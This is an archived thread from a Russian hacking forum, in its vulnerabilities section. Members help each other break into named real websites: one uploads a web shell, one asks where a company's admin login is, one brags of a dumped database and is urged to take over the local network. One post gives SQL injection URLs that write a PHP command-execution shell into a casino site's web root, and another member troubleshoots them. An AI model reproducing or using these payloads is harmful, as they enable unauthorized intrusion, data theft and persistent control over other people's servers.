ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12421  
Старый 07.04.2010, 17:22
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от daniel_1024  
я через админку залил шелл, прохожу по ссылке и вижу "500. Внутренняя ошибка". Либо с правами на директорию что-то, либо с htaccess. Что посоветуете ?

попробовать выйти за пределы папки, куда заливаешь (залить в другую)
 
Ответить с цитированием

  #12422  
Старый 07.04.2010, 17:27
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

Цитата:
попробовать выйти за пределы папки, куда заливаешь (залить в другую)
так а как ? там всё автоматом заливается в папку img
 
Ответить с цитированием

  #12423  
Старый 07.04.2010, 17:39
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию

Помогите найти админку: http://www.qatofin.com.qa/en/

Сканером только это удалось найти:

http://www.qatofin.com.qa/cgi-bin/ HTTP 403 Forbidden
http://www.qatofin.com.qa/en/ HTTP 200 OK
http://www.qatofin.com.qa/icons/ HTTP 200 OK
http://www.qatofin.com.qa/icons/ HTTP 200 OK
http://www.qatofin.com.qa/phpmyadmin HTTP 403 Forbidden
 
Ответить с цитированием

  #12424  
Старый 07.04.2010, 17:45
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

http://www.google-store.com/index.php?cPath=-23+union+select+1

поXакаем google?
 
Ответить с цитированием

  #12425  
Старый 07.04.2010, 17:46
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

FlaktW http://www.qatofin.com.qa/en/admin/login.php
 
Ответить с цитированием

  #12426  
Старый 07.04.2010, 18:40
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

ребят есть сервер,у меня тут контроль на 100% ,качал все скрипты, сдампил базу

что еще можно сделать ??

ftp доступ тоже есть
 
Ответить с цитированием

  #12427  
Старый 07.04.2010, 18:57
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

захватить локальную сеть ?
 
Ответить с цитированием

  #12428  
Старый 07.04.2010, 20:15
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от warlok  
захватить локальную сеть ?
и как это реализовать?
 
Ответить с цитированием

  #12429  
Старый 07.04.2010, 21:15
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Помогите залить шелл, а то что-то не получаеться
пробовал
Код:
http://www.casinophiles.com/news.php?id=-1301+UNION+SELECT+1,'%3C?%20system($_GET[''cmd''])%20?%3E',3,4,5+FROM+'extra'+into+outfile+'/www/179/www.casinophiles.com/img.php'--
и
Код:
http://www.casinophiles.com/news.php?id=-1301+UNION+SELECT+0x3C3F20706870696E666F28293B203F3E,2,3,4,5+FROM+extra.software+INTO+DUMPFILE+'/www/179/www.casinophiles.com/img.php'--
немогу понять в чом проблема!!
 
Ответить с цитированием

  #12430  
Старый 07.04.2010, 21:21
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от GOGA075  
Помогите залить шелл, а то что-то не получаеться
пробовал
Код:
http://www.casinophiles.com/news.php?id=-1301+UNION+SELECT+1,'%3C?%20system($_GET[''cmd''])%20?%3E',3,4,5+FROM+'extra'+into+outfile+'/www/179/www.casinophiles.com/img.php'--
и
Код:
http://www.casinophiles.com/news.php?id=-1301+UNION+SELECT+0x3C3F20706870696E666F28293B203F3E,2,3,4,5+FROM+extra.software+INTO+DUMPFILE+'/www/179/www.casinophiles.com/img.php'--
немогу понять в чом проблема!!

прав не хватает на запись в папку эту
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ